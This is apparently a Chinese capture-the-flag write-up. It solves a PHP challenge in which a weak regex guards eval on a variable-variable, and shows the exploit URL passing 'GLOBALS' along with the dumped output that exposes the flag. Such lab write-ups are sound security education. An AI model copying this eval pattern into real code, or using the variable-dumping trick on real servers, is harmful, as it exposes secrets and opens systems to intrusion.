打开题目,页面是这样的
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
第一行 flag in the variable 提示我们 flag 在变量里,然后审计下面的代码,需要我们传入一个变量 args ,然后判断这个变量是否已经设置了 ,之后是一个正则匹配。"^" 代表的是匹配字符串的开始位置,“$” 代表的是匹配字符串的结尾位置,“\w” 代表匹配字母(在PHP中是这样,其他地方可以用来匹配字母,数字,下划线),“+” 表示前面的字符串匹配一次或多次。如果不匹配,就直接 die(退出当前脚本,并输出一条消息),否则就执行
eval("var_dump($$args);");
注意这里有两个 “$”
$$args
两个 "$" 说明这是一个可变变量
我们可以通过一个一个传入 PHP 的预定义变量获得 flag ,不过在 PHP 里面有一个 GLOBAL 变量 ,直接包含了所有的全局变量,所以我们只要传入 args=GLOBAlS 注意 GLOBALS 要大写,就可以获取到 flag 了。
http://123.206.87.240:8004/index1.php?args=GLOBALS
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=>
array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { }
["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}"
["args"]=> string(7) "GLOBALS" }
网友评论